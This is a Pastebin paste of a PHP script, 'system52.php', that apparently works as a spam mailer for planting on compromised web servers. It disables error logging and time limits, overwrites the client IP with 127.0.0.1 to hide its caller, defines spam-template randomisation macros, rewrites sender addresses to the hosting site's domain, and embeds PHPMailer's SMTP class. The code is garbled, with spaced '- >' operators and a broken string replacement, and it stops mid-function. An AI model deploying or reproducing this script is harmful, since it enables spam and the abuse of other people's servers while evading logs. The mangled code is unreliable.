Guest User

system52.php

a guest
Dec 3rd, 2015
450
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 106.56 KB | None | 0 0
  1. <?PHP
  2.  
  3. @ini_set('error_log', NULL);
  4.  
  5. @ini_set('log_errors', 0);
  6.  
  7. @ini_set('max_execution_time', 0);
  8.  
  9. @set_time_limit(0);
  10.  
  11.  
  12.  
  13. if(isset($_SERVER))
  14.  
  15. {
  16.  
  17.     $_SERVER['PHP_SELF'] = "/";
  18.  
  19.     $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  20.  
  21.     if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  22.  
  23.     {
  24.  
  25.         $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  26.  
  27.     }
  28.  
  29. }
  30.  
  31. if(isset($_FILES))
  32.  
  33. {
  34.  
  35.     foreach($_FILES as $key => $file)
  36.  
  37.     {
  38.  
  39.         if(!strpos($file['name'], ".jpg"))
  40.  
  41.         {
  42.  
  43.             $filename = alter_macros($file['name']);
  44.  
  45.             $filename = num_macros($filename);
  46.  
  47.             $filename = xnum_macros($filename);
  48.  
  49.             $_FILES[$key]["name"] = $filename;
  50.  
  51.         }
  52.  
  53.     }
  54.  
  55. }
  56.  
  57.  
  58.  
  59. function custom_strip_tags($text)
  60.  
  61.     {
  62.  
  63.         $text = strip_tags($text, '');
  64.  
  65.         $text = str_replace(" $text = str_replace("
  66.  
  67.             ", "
  68.  
  69.             ", $text);
  70.  
  71.             $text = str_replace("\">", " ] ", $text);
  72.  
  73.             return $text;
  74.  
  75.         }
  76.  
  77.  
  78.  
  79.         function is_ip($str)
  80.  
  81.         {
  82.  
  83.             return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $str);
  84.  
  85.         }
  86.  
  87.  
  88.  
  89.         function from_host($content)
  90.  
  91.         {
  92.  
  93.             $host = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
  94.  
  95.             if(is_ip($host))
  96.  
  97.             {
  98.  
  99.                 return $content;
  100.  
  101.             }
  102.  
  103.  
  104.  
  105.             $tokens = explode("@", $content);
  106.  
  107.             $content = $tokens[0].
  108.  
  109.             "@".$host.
  110.  
  111.             ">";
  112.  
  113.             return $content;
  114.  
  115.         }
  116.  
  117.  
  118.  
  119.         function alter_macros($content)
  120.  
  121.         {
  122.  
  123.             preg_match_all('#{(.*)}#Ui', $content, $matches);
  124.  
  125.             for($i = 0; $i < count($matches[1]); $i++)
  126.  
  127.             {
  128.  
  129.                 $ns = explode("|", $matches[1][$i]);
  130.  
  131.                 $c2 = count($ns);
  132.  
  133.                 $rand = rand(0, ($c2 - 1));
  134.  
  135.                 $content = str_replace("{".$matches[1][$i].
  136.  
  137.                     "}", $ns[$rand], $content);
  138.  
  139.             }
  140.  
  141.             return $content;
  142.  
  143.         }
  144.  
  145.  
  146.  
  147.         function xnum_macros($content)
  148.  
  149.         {
  150.  
  151.             preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  152.  
  153.             for($i = 0; $i < count($matches[0]); $i++)
  154.  
  155.             {
  156.  
  157.                 $num = $matches[1][$i];
  158.  
  159.                 $min = pow(10, $num - 1);
  160.  
  161.                 $max = pow(10, $num) - 1;
  162.  
  163.                 $rand = rand($min, $max);
  164.  
  165.                 $content = str_replace($matches[0][$i], $rand, $content);
  166.  
  167.             }
  168.  
  169.             return $content;
  170.  
  171.         }
  172.  
  173.  
  174.  
  175.         function num_macros($content)
  176.  
  177.         {
  178.  
  179.             preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  180.  
  181.             for($i = 0; $i < count($matches[0]); $i++)
  182.  
  183.             {
  184.  
  185.                 $min = $matches[1][$i];
  186.  
  187.                 $max = $matches[2][$i];
  188.  
  189.                 $rand = rand($min, $max);
  190.  
  191.                 $content = str_replace($matches[0][$i], $rand, $content);
  192.  
  193.             }
  194.  
  195.             return $content;
  196.  
  197.         }
  198.  
  199.  
  200.  
  201.         function fteil_macros($content, $fteil)
  202.  
  203.         {
  204.  
  205.             return str_replace("[FTEIL]", $fteil, $content);
  206.  
  207.         }
  208.  
  209.         class SMTP
  210.  
  211.         {
  212.  
  213.             const VERSION = '5.2.10';
  214.  
  215.             const CRLF = "\r\n";
  216.  
  217.             const DEFAULT_SMTP_PORT = 25;
  218.  
  219.             const MAX_LINE_LENGTH = 998;
  220.  
  221.             const DEBUG_OFF = 0;
  222.  
  223.             const DEBUG_CLIENT = 1;
  224.  
  225.             const DEBUG_SERVER = 2;
  226.  
  227.             const DEBUG_CONNECTION = 3;
  228.  
  229.             const DEBUG_LOWLEVEL = 4;
  230.  
  231.             public $Version = '5.2.10';
  232.  
  233.             public $SMTP_PORT = 25;
  234.  
  235.             public $CRLF = "\r\n";
  236.  
  237.             public $do_debug = self::DEBUG_OFF;
  238.  
  239.             public $Debugoutput = 'echo';
  240.  
  241.             public $do_verp = false;
  242.  
  243.             public $Timeout = 300;
  244.  
  245.             public $Timelimit = 300;
  246.  
  247.             protected $smtp_conn;
  248.  
  249.             protected $error = array(
  250.  
  251.                 'error' => '',
  252.  
  253.                 'detail' => '',
  254.  
  255.                 'smtp_code' => '',
  256.  
  257.                 'smtp_code_ex' => ''
  258.  
  259.             );
  260.  
  261.             protected $helo_rply = null;
  262.  
  263.             protected $server_caps = null;
  264.  
  265.             protected $last_reply = '';
  266.  
  267.             protected
  268.  
  269.  
  270.  
  271.             function edebug($str, $level = 0)
  272.  
  273.             {
  274.  
  275.                 if($level > $this - > do_debug)
  276.  
  277.                 {
  278.  
  279.                     return;
  280.  
  281.                 }
  282.  
  283.                 if(!in_array($this - > Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this - > Debugoutput))
  284.  
  285.                 {
  286.  
  287.                     call_user_func($this - > Debugoutput, $str, $this - > do_debug);
  288.  
  289.                     return;
  290.  
  291.                 }
  292.  
  293.                 switch($this - > Debugoutput)
  294.  
  295.                 {
  296.  
  297.                     case 'error_log':
  298.  
  299.                         error_log($str);
  300.  
  301.                         break;
  302.  
  303.                     case 'html':
  304.  
  305.                         echo htmlentities(
  306.  
  307.                                 preg_replace('/[\r\n]+/', '', $str),
  308.  
  309.                                 ENT_QUOTES,
  310.  
  311.                                 'UTF-8'
  312.  
  313.                             )
  314.  
  315.                             .
  316.  
  317.                         "\
  318.                         n ";
  319.  
  320.                         break;
  321.  
  322.                     case 'echo':
  323.  
  324.                     default:
  325.  
  326.                         $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  327.  
  328.                         echo gmdate('Y-m-d H:i:s').
  329.  
  330.                         "\t".str_replace(
  331.  
  332.                             "\n",
  333.  
  334.                             "\n \t ",
  335.  
  336.                             trim($str)
  337.  
  338.                         ).
  339.  
  340.                         "\n";
  341.  
  342.                 }
  343.  
  344.             }
  345.  
  346.             public
  347.  
  348.  
  349.  
  350.             function connect($host, $port = null, $timeout = 30, $options = array())
  351.  
  352.             {
  353.  
  354.                 static $streamok;
  355.  
  356.                 if(is_null($streamok))
  357.  
  358.                 {
  359.  
  360.                     $streamok = function_exists('stream_socket_client');
  361.  
  362.                 }
  363.  
  364.                 $this - > setError('');
  365.  
  366.                 if($this - > connected())
  367.  
  368.                 {
  369.  
  370.                     $this - > setError('Already connected to a server');
  371.  
  372.                     return false;
  373.  
  374.                 }
  375.  
  376.                 if(empty($port))
  377.  
  378.                 {
  379.  
  380.                     $port = self::DEFAULT_SMTP_PORT;
  381.  
  382.                 }
  383.  
  384.                 $this - > edebug(
  385.  
  386.                     "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  387.  
  388.                     self::DEBUG_CONNECTION
  389.  
  390.                 );
  391.  
  392.                 $errno = 0;
  393.  
  394.                 $errstr = '';
  395.  
  396.                 if($streamok)
  397.  
  398.                 {
  399.  
  400.                     $socket_context = stream_context_create($options);
  401.  
  402.                     $this - > smtp_conn = @stream_socket_client(
  403.  
  404.                         $host.
  405.  
  406.                         ":".$port,
  407.  
  408.                         $errno,
  409.  
  410.                         $errstr,
  411.  
  412.                         $timeout,
  413.  
  414.                         STREAM_CLIENT_CONNECT,
  415.  
  416.                         $socket_context
  417.  
  418.                     );
  419.  
  420.                 }
  421.  
  422.                 else
  423.  
  424.                 {
  425.  
  426.                     $this - > edebug(
  427.  
  428.                         "Connection: stream_socket_client not available, falling back to fsockopen",
  429.  
  430.                         self::DEBUG_CONNECTION
  431.  
  432.                     );
  433.  
  434.                     $this - > smtp_conn = fsockopen(
  435.  
  436.                         $host,
  437.  
  438.                         $port,
  439.  
  440.                         $errno,
  441.  
  442.                         $errstr,
  443.  
  444.                         $timeout
  445.  
  446.                     );
  447.  
  448.                 }
  449.  
  450.                 if(!is_resource($this - > smtp_conn))
  451.  
  452.                 {
  453.  
  454.                     $this - > setError(
  455.  
  456.                         'Failed to connect to server',
  457.  
  458.                         $errno,
  459.  
  460.                         $errstr
  461.  
  462.                     );
  463.  
  464.                     $this - > edebug(
  465.  
  466.                         'SMTP ERROR: '.$this - > error['error']
  467.  
  468.                         .
  469.  
  470.                         ": $errstr ($errno)",
  471.  
  472.                         self::DEBUG_CLIENT
  473.  
  474.                     );
  475.  
  476.                     return false;
  477.  
  478.                 }
  479.  
  480.                 $this - > edebug('Connection: opened', self::DEBUG_CONNECTION);
  481.  
  482.                 if(substr(PHP_OS, 0, 3) != 'WIN')
  483.  
  484.                 {
  485.  
  486.                     $max = ini_get('max_execution_time');
  487.  
  488.                     if($max != 0 && $timeout > $max)
  489.  
  490.                     {@
  491.  
  492.                         set_time_limit($timeout);
  493.  
  494.                     }
  495.  
  496.                     stream_set_timeout($this - > smtp_conn, $timeout, 0);
  497.  
  498.                 }
  499.  
  500.                 $announce = $this - > get_lines();
  501.  
  502.                 $this - > edebug('SERVER -> CLIENT: '.$announce, self::DEBUG_SERVER);
  503.  
  504.                 return true;
  505.  
  506.             }
  507.  
  508.             public
  509.  
  510.  
  511.  
  512.             function startTLS()
  513.  
  514.             {
  515.  
  516.                 if(!$this - > sendCommand('STARTTLS', 'STARTTLS', 220))
  517.  
  518.                 {
  519.  
  520.                     return false;
  521.  
  522.                 }
  523.  
  524.                 if(!stream_socket_enable_crypto(
  525.  
  526.                         $this - > smtp_conn,
  527.  
  528.                         true,
  529.  
  530.                         STREAM_CRYPTO_METHOD_TLS_CLIENT
  531.  
  532.                     ))
  533.  
  534.                 {
  535.  
  536.                     return false;
  537.  
  538.                 }
  539.  
  540.                 return true;
  541.  
  542.             }
  543.  
  544.             public
  545.  
  546.  
  547.  
  548.             function authenticate(
  549.  
  550.                 $username,
  551.  
  552.                 $password,
  553.  
  554.                 $authtype = null,
  555.  
  556.                 $realm = '',
  557.  
  558.                 $workstation = ''
  559.  
  560.             )
  561.  
  562.             {
  563.  
  564.                 if(!$this - > server_caps)
  565.  
  566.                 {
  567.  
  568.                     $this - > setError('Authentication is not allowed before HELO/EHLO');
  569.  
  570.                     return false;
  571.  
  572.                 }
  573.  
  574.                 if(array_key_exists('EHLO', $this - > server_caps))
  575.  
  576.                 {
  577.  
  578.                     if(!array_key_exists('AUTH', $this - > server_caps))
  579.  
  580.                     {
  581.  
  582.                         $this - > setError('Authentication is not allowed at this stage');
  583.  
  584.                         return false;
  585.  
  586.                     }
  587.  
  588.                     self::edebug('Auth method requested: '.($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  589.  
  590.                     self::edebug(
  591.  
  592.                         'Auth methods available on the server: '.implode(',', $this - > server_caps['AUTH']),
  593.  
  594.                         self::DEBUG_LOWLEVEL
  595.  
  596.                     );
  597.  
  598.                     if(empty($authtype))
  599.  
  600.                     {
  601.  
  602.                         foreach(array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method)
  603.  
  604.                         {
  605.  
  606.                             if(in_array($method, $this - > server_caps['AUTH']))
  607.  
  608.                             {
  609.  
  610.                                 $authtype = $method;
  611.  
  612.                                 break;
  613.  
  614.                             }
  615.  
  616.                         }
  617.  
  618.                         if(empty($authtype))
  619.  
  620.                         {
  621.  
  622.                             $this - > setError('No supported authentication methods found');
  623.  
  624.                             return false;
  625.  
  626.                         }
  627.  
  628.                         self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  629.  
  630.                     }
  631.  
  632.                     if(!in_array($authtype, $this - > server_caps['AUTH']))
  633.  
  634.                     {
  635.  
  636.                         $this - > setError("The requested authentication method \"$authtype\" is not supported by the server");
  637.  
  638.                         return false;
  639.  
  640.                     }
  641.  
  642.                 }
  643.  
  644.                 elseif(empty($authtype))
  645.  
  646.                 {
  647.  
  648.                     $authtype = 'LOGIN';
  649.  
  650.                 }
  651.  
  652.                 switch($authtype)
  653.  
  654.                 {
  655.  
  656.                     case 'PLAIN':
  657.  
  658.                         if(!$this - > sendCommand('AUTH', 'AUTH PLAIN', 334))
  659.  
  660.                         {
  661.  
  662.                             return false;
  663.  
  664.                         }
  665.  
  666.                         if(!$this - > sendCommand(
  667.  
  668.                                 'User & Password',
  669.  
  670.                                 base64_encode("\0".$username.
  671.  
  672.                                     "\0".$password),
  673.  
  674.                                 235
  675.  
  676.                             ))
  677.  
  678.                         {
  679.  
  680.                             return false;
  681.  
  682.                         }
  683.  
  684.                         break;
  685.  
  686.                     case 'LOGIN':
  687.  
  688.                         if(!$this - > sendCommand('AUTH', 'AUTH LOGIN', 334))
  689.  
  690.                         {
  691.  
  692.                             return false;
  693.  
  694.                         }
  695.  
  696.                         if(!$this - > sendCommand("Username", base64_encode($username), 334))
  697.  
  698.                         {
  699.  
  700.                             return false;
  701.  
  702.                         }
  703.  
  704.                         if(!$this - > sendCommand("Password", base64_encode($password), 235))
  705.  
  706.                         {
  707.  
  708.                             return false;
  709.  
  710.                         }
  711.  
  712.                         break;
  713.  
  714.                     case 'NTLM':
  715.  
  716.                         require_once 'extras/ntlm_sasl_client.php';
  717.  
  718.                         $temp = new stdClass;
  719.  
  720.                         $ntlm_client = new ntlm_sasl_client_class;
  721.  
  722.                         if(!$ntlm_client - > Initialize($temp))
  723.  
  724.                         {
  725.  
  726.                             $this - > setError($temp - > error);
  727.  
  728.                             $this - > edebug(
  729.  
  730.                                 'You need to enable some modules in your php.ini file: '
  731.  
  732.                                 .$this - > error['error'],
  733.  
  734.                                 self::DEBUG_CLIENT
  735.  
  736.                             );
  737.  
  738.                             return false;
  739.  
  740.                         }
  741.  
  742.                         $msg1 = $ntlm_client - > TypeMsg1($realm, $workstation); //msg1
  743.  
  744.                         if(!$this - > sendCommand(
  745.  
  746.                                 'AUTH NTLM',
  747.  
  748.                                 'AUTH NTLM '.base64_encode($msg1),
  749.  
  750.                                 334
  751.  
  752.                             ))
  753.  
  754.                         {
  755.  
  756.                             return false;
  757.  
  758.                         }
  759.  
  760.                         $challenge = substr($this - > last_reply, 3);
  761.  
  762.                         $challenge = base64_decode($challenge);
  763.  
  764.                         $ntlm_res = $ntlm_client - > NTLMResponse(
  765.  
  766.                             substr($challenge, 24, 8),
  767.  
  768.                             $password
  769.  
  770.                         );
  771.  
  772.                         $msg3 = $ntlm_client - > TypeMsg3(
  773.  
  774.                             $ntlm_res,
  775.  
  776.                             $username,
  777.  
  778.                             $realm,
  779.  
  780.                             $workstation
  781.  
  782.                         );
  783.  
  784.                         return $this - > sendCommand('Username', base64_encode($msg3), 235);
  785.  
  786.                     case 'CRAM-MD5':
  787.  
  788.                         if(!$this - > sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334))
  789.  
  790.                         {
  791.  
  792.                             return false;
  793.  
  794.                         }
  795.  
  796.                         $challenge = base64_decode(substr($this - > last_reply, 4));
  797.  
  798.                         $response = $username.
  799.  
  800.                         ' '.$this - > hmac($challenge, $password);
  801.  
  802.                         return $this - > sendCommand('Username', base64_encode($response), 235);
  803.  
  804.                     default:
  805.  
  806.                         $this - > setError("Authentication method \"$authtype\" is not supported");
  807.  
  808.                         return false;
  809.  
  810.                 }
  811.  
  812.                 return true;
  813.  
  814.             }
  815.  
  816.             protected
  817.  
  818.  
  819.  
  820.             function hmac($data, $key)
  821.  
  822.             {
  823.  
  824.                 if(function_exists('hash_hmac'))
  825.  
  826.                 {
  827.  
  828.                     return hash_hmac('md5', $data, $key);
  829.  
  830.                 }
  831.  
  832.                 $bytelen = 64; // byte length for md5
  833.  
  834.                 if(strlen($key) > $bytelen)
  835.  
  836.                 {
  837.  
  838.                     $key = pack('H*', md5($key));
  839.  
  840.                 }
  841.  
  842.                 $key = str_pad($key, $bytelen, chr(0x00));
  843.  
  844.                 $ipad = str_pad('', $bytelen, chr(0x36));
  845.  
  846.                 $opad = str_pad('', $bytelen, chr(0x5c));
  847.  
  848.                 $k_ipad = $key ^ $ipad;
  849.  
  850.                 $k_opad = $key ^ $opad;
  851.  
  852.                 return md5($k_opad.pack('H*', md5($k_ipad.$data)));
  853.  
  854.             }
  855.  
  856.             public
  857.  
  858.  
  859.  
  860.             function connected()
  861.  
  862.             {
  863.  
  864.                 if(is_resource($this - > smtp_conn))
  865.  
  866.                 {
  867.  
  868.                     $sock_status = stream_get_meta_data($this - > smtp_conn);
  869.  
  870.                     if($sock_status['eof'])
  871.  
  872.                     {
  873.  
  874.                         $this - > edebug(
  875.  
  876.                             'SMTP NOTICE: EOF caught while checking if connected',
  877.  
  878.                             self::DEBUG_CLIENT
  879.  
  880.                         );
  881.  
  882.                         $this - > close();
  883.  
  884.                         return false;
  885.  
  886.                     }
  887.  
  888.                     return true; // everything looks good
  889.  
  890.                 }
  891.  
  892.                 return false;
  893.  
  894.             }
  895.  
  896.             public
  897.  
  898.  
  899.  
  900.             function close()
  901.  
  902.             {
  903.  
  904.                 $this - > setError('');
  905.  
  906.                 $this - > server_caps = null;
  907.  
  908.                 $this - > helo_rply = null;
  909.  
  910.                 if(is_resource($this - > smtp_conn))
  911.  
  912.                 {
  913.  
  914.                     fclose($this - > smtp_conn);
  915.  
  916.                     $this - > smtp_conn = null; //Makes for cleaner serialization
  917.  
  918.                     $this - > edebug('Connection: closed', self::DEBUG_CONNECTION);
  919.  
  920.                 }
  921.  
  922.             }
  923.  
  924.             public
  925.  
  926.  
  927.  
  928.             function data($msg_data)
  929.  
  930.             {
  931.  
  932.                 if(!$this - > sendCommand('DATA', 'DATA', 354))
  933.  
  934.                 {
  935.  
  936.                     return false;
  937.  
  938.                 }
  939.  
  940.                 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  941.  
  942.                 $field = substr($lines[0], 0, strpos($lines[0], ':'));
  943.  
  944.                 $in_headers = false;
  945.  
  946.                 if(!empty($field) && strpos($field, ' ') === false)
  947.  
  948.                 {
  949.  
  950.                     $in_headers = true;
  951.  
  952.                 }
  953.  
  954.                 foreach($lines as $line)
  955.  
  956.                 {
  957.  
  958.                     $lines_out = array();
  959.  
  960.                     if($in_headers and $line == '')
  961.  
  962.                     {
  963.  
  964.                         $in_headers = false;
  965.  
  966.                     }
  967.  
  968.                     while(isset($line[self::MAX_LINE_LENGTH]))
  969.  
  970.                     {
  971.  
  972.                         $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  973.  
  974.                         if(!$pos)
  975.  
  976.                         {
  977.  
  978.                             $pos = self::MAX_LINE_LENGTH - 1;
  979.  
  980.                             $lines_out[] = substr($line, 0, $pos);
  981.  
  982.                             $line = substr($line, $pos);
  983.  
  984.                         }
  985.  
  986.                         else
  987.  
  988.                         {
  989.  
  990.                             $lines_out[] = substr($line, 0, $pos);
  991.  
  992.                             $line = substr($line, $pos + 1);
  993.  
  994.                         }
  995.  
  996.                         if($in_headers)
  997.  
  998.                         {
  999.  
  1000.                             $line = "\t".$line;
  1001.  
  1002.                         }
  1003.  
  1004.                     }
  1005.  
  1006.                     $lines_out[] = $line;
  1007.  
  1008.                     foreach($lines_out as $line_out)
  1009.  
  1010.                     {
  1011.  
  1012.                         if(!empty($line_out) and $line_out[0] == '.')
  1013.  
  1014.                         {
  1015.  
  1016.                             $line_out = '.'.$line_out;
  1017.  
  1018.                         }
  1019.  
  1020.                         $this - > client_send($line_out.self::CRLF);
  1021.  
  1022.                     }
  1023.  
  1024.                 }
  1025.  
  1026.                 $savetimelimit = $this - > Timelimit;
  1027.  
  1028.                 $this - > Timelimit = $this - > Timelimit * 2;
  1029.  
  1030.                 $result = $this - > sendCommand('DATA END', '.', 250);
  1031.  
  1032.                 $this - > Timelimit = $savetimelimit;
  1033.  
  1034.                 return $result;
  1035.  
  1036.             }
  1037.  
  1038.             public
  1039.  
  1040.  
  1041.  
  1042.             function hello($host = '')
  1043.  
  1044.             {
  1045.  
  1046.                 return(boolean)($this - > sendHello('EHLO', $host) or $this - > sendHello('HELO', $host));
  1047.  
  1048.             }
  1049.  
  1050.             protected
  1051.  
  1052.  
  1053.  
  1054.             function sendHello($hello, $host)
  1055.  
  1056.             {
  1057.  
  1058.                 $noerror = $this - > sendCommand($hello, $hello.
  1059.  
  1060.                     ' '.$host, 250);
  1061.  
  1062.                 $this - > helo_rply = $this - > last_reply;
  1063.  
  1064.                 if($noerror)
  1065.  
  1066.                 {
  1067.  
  1068.                     $this - > parseHelloFields($hello);
  1069.  
  1070.                 }
  1071.  
  1072.                 else
  1073.  
  1074.                 {
  1075.  
  1076.                     $this - > server_caps = null;
  1077.  
  1078.                 }
  1079.  
  1080.                 return $noerror;
  1081.  
  1082.             }
  1083.  
  1084.             protected
  1085.  
  1086.  
  1087.  
  1088.             function parseHelloFields($type)
  1089.  
  1090.             {
  1091.  
  1092.                 $this - > server_caps = array();
  1093.  
  1094.                 $lines = explode("\n", $this - > last_reply);
  1095.  
  1096.                 foreach($lines as $n => $s)
  1097.  
  1098.                 {
  1099.  
  1100.                     $s = trim(substr($s, 4));
  1101.  
  1102.                     if(!$s)
  1103.  
  1104.                     {
  1105.  
  1106.                         continue;
  1107.  
  1108.                     }
  1109.  
  1110.                     $fields = explode(' ', $s);
  1111.  
  1112.                     if(!empty($fields))
  1113.  
  1114.                     {
  1115.  
  1116.                         if(!$n)
  1117.  
  1118.                         {
  1119.  
  1120.                             $name = $type;
  1121.  
  1122.                             $fields = $fields[0];
  1123.  
  1124.                         }
  1125.  
  1126.                         else
  1127.  
  1128.                         {
  1129.  
  1130.                             $name = array_shift($fields);
  1131.  
  1132.                             if($name == 'SIZE')
  1133.  
  1134.                             {
  1135.  
  1136.                                 $fields = ($fields) ? $fields[0] : 0;
  1137.  
  1138.                             }
  1139.  
  1140.                         }
  1141.  
  1142.                         $this - > server_caps[$name] = ($fields ? $fields : true);
  1143.  
  1144.                     }
  1145.  
  1146.                 }
  1147.  
  1148.             }
  1149.  
  1150.             public
  1151.  
  1152.  
  1153.  
  1154.             function mail($from)
  1155.  
  1156.             {
  1157.  
  1158.                 $useVerp = ($this - > do_verp ? ' XVERP' : '');
  1159.  
  1160.                 return $this - > sendCommand(
  1161.  
  1162.                     'MAIL FROM',
  1163.  
  1164.                     'MAIL FROM:<'.$from.
  1165.  
  1166.                     '>'.$useVerp,
  1167.  
  1168.                     250
  1169.  
  1170.                 );
  1171.  
  1172.             }
  1173.  
  1174.             public
  1175.  
  1176.  
  1177.  
  1178.             function quit($close_on_error = true)
  1179.  
  1180.             {
  1181.  
  1182.                 $noerror = $this - > sendCommand('QUIT', 'QUIT', 221);
  1183.  
  1184.                 $err = $this - > error; //Save any error
  1185.  
  1186.                 if($noerror or $close_on_error)
  1187.  
  1188.                 {
  1189.  
  1190.                     $this - > close();
  1191.  
  1192.                     $this - > error = $err; //Restore any error from the quit command
  1193.  
  1194.                 }
  1195.  
  1196.                 return $noerror;
  1197.  
  1198.             }
  1199.  
  1200.             public
  1201.  
  1202.  
  1203.  
  1204.             function recipient($toaddr)
  1205.  
  1206.             {
  1207.  
  1208.                 return $this - > sendCommand(
  1209.  
  1210.                     'RCPT TO',
  1211.  
  1212.                     'RCPT TO:<'.$toaddr.
  1213.  
  1214.                     '>',
  1215.  
  1216.                     array(250, 251)
  1217.  
  1218.                 );
  1219.  
  1220.             }
  1221.  
  1222.             public
  1223.  
  1224.  
  1225.  
  1226.             function reset()
  1227.  
  1228.             {
  1229.  
  1230.                 return $this - > sendCommand('RSET', 'RSET', 250);
  1231.  
  1232.             }
  1233.  
  1234.             protected
  1235.  
  1236.  
  1237.  
  1238.             function sendCommand($command, $commandstring, $expect)
  1239.  
  1240.             {
  1241.  
  1242.                 if(!$this - > connected())
  1243.  
  1244.                 {
  1245.  
  1246.                     $this - > setError("Called $command without being connected");
  1247.  
  1248.                     return false;
  1249.  
  1250.                 }
  1251.  
  1252.                 $this - > client_send($commandstring.self::CRLF);
  1253.  
  1254.                 $this - > last_reply = $this - > get_lines();
  1255.  
  1256.                 $matches = array();
  1257.  
  1258.                 if(preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this - > last_reply, $matches))
  1259.  
  1260.                 {
  1261.  
  1262.                     $code = $matches[1];
  1263.  
  1264.                     $code_ex = (count($matches) > 2 ? $matches[2] : null);
  1265.  
  1266.                     $detail = preg_replace(
  1267.  
  1268.                         "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).
  1269.  
  1270.                             ' ' : '').
  1271.  
  1272.                         "/m",
  1273.  
  1274.                         '',
  1275.  
  1276.                         $this - > last_reply
  1277.  
  1278.                     );
  1279.  
  1280.                 }
  1281.  
  1282.                 else
  1283.  
  1284.                 {
  1285.  
  1286.                     $code = substr($this - > last_reply, 0, 3);
  1287.  
  1288.                     $code_ex = null;
  1289.  
  1290.                     $detail = substr($this - > last_reply, 4);
  1291.  
  1292.                 }
  1293.  
  1294.                 $this - > edebug('SERVER -> CLIENT: '.$this - > last_reply, self::DEBUG_SERVER);
  1295.  
  1296.                 if(!in_array($code, (array) $expect))
  1297.  
  1298.                 {
  1299.  
  1300.                     $this - > setError(
  1301.  
  1302.                         "$command command failed",
  1303.  
  1304.                         $detail,
  1305.  
  1306.                         $code,
  1307.  
  1308.                         $code_ex
  1309.  
  1310.                     );
  1311.  
  1312.                     $this - > edebug(
  1313.  
  1314.                         'SMTP ERROR: '.$this - > error['error'].
  1315.  
  1316.                         ': '.$this - > last_reply,
  1317.  
  1318.                         self::DEBUG_CLIENT
  1319.  
  1320.                     );
  1321.  
  1322.                     return false;
  1323.  
  1324.                 }
  1325.  
  1326.                 $this - > setError('');
  1327.  
  1328.                 return true;
  1329.  
  1330.             }
  1331.  
  1332.             public
  1333.  
  1334.  
  1335.  
  1336.             function sendAndMail($from)
  1337.  
  1338.             {
  1339.  
  1340.                 return $this - > sendCommand('SAML', "SAML FROM:$from", 250);
  1341.  
  1342.             }
  1343.  
  1344.             public
  1345.  
  1346.  
  1347.  
  1348.             function verify($name)
  1349.  
  1350.             {
  1351.  
  1352.                 return $this - > sendCommand('VRFY', "VRFY $name", array(250, 251));
  1353.  
  1354.             }
  1355.  
  1356.             public
  1357.  
  1358.  
  1359.  
  1360.             function noop()
  1361.  
  1362.             {
  1363.  
  1364.                 return $this - > sendCommand('NOOP', 'NOOP', 250);
  1365.  
  1366.             }
  1367.  
  1368.             public
  1369.  
  1370.  
  1371.  
  1372.             function turn()
  1373.  
  1374.             {
  1375.  
  1376.                 $this - > setError('The SMTP TURN command is not implemented');
  1377.  
  1378.                 $this - > edebug('SMTP NOTICE: '.$this - > error['error'], self::DEBUG_CLIENT);
  1379.  
  1380.                 return false;
  1381.  
  1382.             }
  1383.  
  1384.             public
  1385.  
  1386.  
  1387.  
  1388.             function client_send($data)
  1389.  
  1390.             {
  1391.  
  1392.                 $this - > edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  1393.  
  1394.                 return fwrite($this - > smtp_conn, $data);
  1395.  
  1396.             }
  1397.  
  1398.             public
  1399.  
  1400.  
  1401.  
  1402.             function getError()
  1403.  
  1404.             {
  1405.  
  1406.                 return $this - > error;
  1407.  
  1408.             }
  1409.  
  1410.             public
  1411.  
  1412.  
  1413.  
  1414.             function getServerExtList()
  1415.  
  1416.             {
  1417.  
  1418.                 return $this - > server_caps;
  1419.  
  1420.             }
  1421.  
  1422.             public
  1423.  
  1424.  
  1425.  
  1426.             function getServerExt($name)
  1427.  
  1428.             {
  1429.  
  1430.                 if(!$this - > server_caps)
  1431.  
  1432.                 {
  1433.  
  1434.                     $this - > setError('No HELO/EHLO was sent');
  1435.  
  1436.                     return null;
  1437.  
  1438.                 }
  1439.  
  1440.                 // the tight logic knot ;)
  1441.  
  1442.                 if(!array_key_exists($name, $this - > server_caps))
  1443.  
  1444.                 {
  1445.  
  1446.                     if($name == 'HELO')
  1447.  
  1448.                     {
  1449.  
  1450.                         return $this - > server_caps['EHLO'];
  1451.  
  1452.                     }
  1453.  
  1454.                     if($name == 'EHLO' || array_key_exists('EHLO', $this - > server_caps))
  1455.  
  1456.                     {
  1457.  
  1458.                         return false;
  1459.  
  1460.                     }
  1461.  
  1462.                     $this - > setError('HELO handshake was used. Client knows nothing about server extensions');
  1463.  
  1464.                     return null;
  1465.  
  1466.                 }
  1467.  
  1468.                 return $this - > server_caps[$name];
  1469.  
  1470.             }
  1471.  
  1472.             public
  1473.  
  1474.  
  1475.  
  1476.             function getLastReply()
  1477.  
  1478.             {
  1479.  
  1480.                 return $this - > last_reply;
  1481.  
  1482.             }
  1483.  
  1484.             protected
  1485.  
  1486.  
  1487.  
  1488.             function get_lines()
  1489.  
  1490.             {
  1491.  
  1492.                 if(!is_resource($this - > smtp_conn))
  1493.  
  1494.                 {
  1495.  
